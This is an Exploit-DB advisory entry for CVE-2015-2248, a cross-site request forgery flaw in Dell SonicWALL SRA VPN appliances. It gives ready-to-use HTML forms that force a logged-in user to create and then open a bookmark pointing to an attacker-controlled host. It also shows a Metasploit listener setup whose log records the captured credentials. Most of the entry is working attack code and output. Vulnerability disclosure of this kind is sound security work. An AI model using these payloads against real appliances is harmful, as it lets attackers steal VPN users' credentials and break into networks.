Dell SonicWALL Secure Remote Access (SRA) Appliance - Cross-Site Request Forgery

EDB-ID:

36940




Platform:

CGI

Date:

2015-05-07


# Exploit Title: Dell SonicWALL Secure Remote Access (SRA) Appliance Cross-Site Request Forgery
# Date: 04/28/2015
# Exploit Author: Veit Hailperin
# Vendor Homepage: www.dell.com
# Version: Dell SonicWALL SRA 7.5 prior to 7.5.1.0-38sv and 8.0 prior to 8.0.0.1-16sv
# CVE : 2015-2248

Exploitation Procedure (Outline):
  1. Use CSRF to force currently logged in user to create a bookmark pointing to an endpoint controlled by the attacker.
  2. Use subsequent request to call the bookmark just created. The identifier of the bookmark can be bruteforced using a single decrementing integer and causes minimal time delay.
  3. Gather the credentials on the target server provided in step #1 
  
1. Create a bookmark:

<html>
  <body>
    <form action="https://vulnerable.vpn-installation.tld/cgi-bin/editBookmark" method="POST">
      <input type="hidden" name="bmName" value="foo" />
      <input type="hidden" name="host" value="www.malicious-host.tld" />
      <input type="hidden" name="description" value="bar" />
      <input type="hidden" name="tabs" value="Baz" />
      <input type="hidden" name="service" value="HTTP" />
      <input type="hidden" name="fbaSSOEnabled" value="on" />
      <input type="hidden" name="fbaSSOFormUserName" value="user" />
      <input type="hidden" name="fbaSSOFormUserPassword" value="password" />
      <input type="hidden" name="MC&#95;App" value="inherit" />
      <input type="hidden" name="MC&#95;Copy" value="inherit" />
      <input type="hidden" name="MC&#95;Print" value="inherit" />
      <input type="hidden" name="MC&#95;Offline" value="inherit" />
      <input type="hidden" name="name" value="name" />
      <input type="hidden" name="type" value="type" />
      <input type="hidden" name="owner" value="owner" />
      <input type="hidden" name="cmd" value="add" />
      <input type="hidden" name="wantBmData" value="true" />
      <input type="hidden" name="ok" value="OK" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

2. Call the newly created bookmark
This might require some guesswork, because we don't know which value bookmarkAccessed needs to have.

<html>
  <body>
    <form action="https://vulnerable.vpn-installation.tld/cgi-bin/http">
      <input type="hidden" name="HOST" value="www.malicious-host.tld" />
      <input type="hidden" name="bookmarkAccessed" value="4" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

3. Set up a listener
E.g. metasploit payload 
use auxiliary/server/capture/http_basic

msf auxiliary(http_basic) > 
[*] Listening on 0.0.0.0:80...
[*] Using URL: http://0.0.0.0:80/
[*]  Local IP: http://www.malicious-host.tld:80/
[*] Server started.
[*] vulnerable.vpn-installation.tld    http_basic - Sending 401 to client vulnerable.vpn-installation.tld
[+] vulnerable.vpn-installation.tld    http_basic - vulnerable.vpn-installation.tld - Credential collected: "user:password"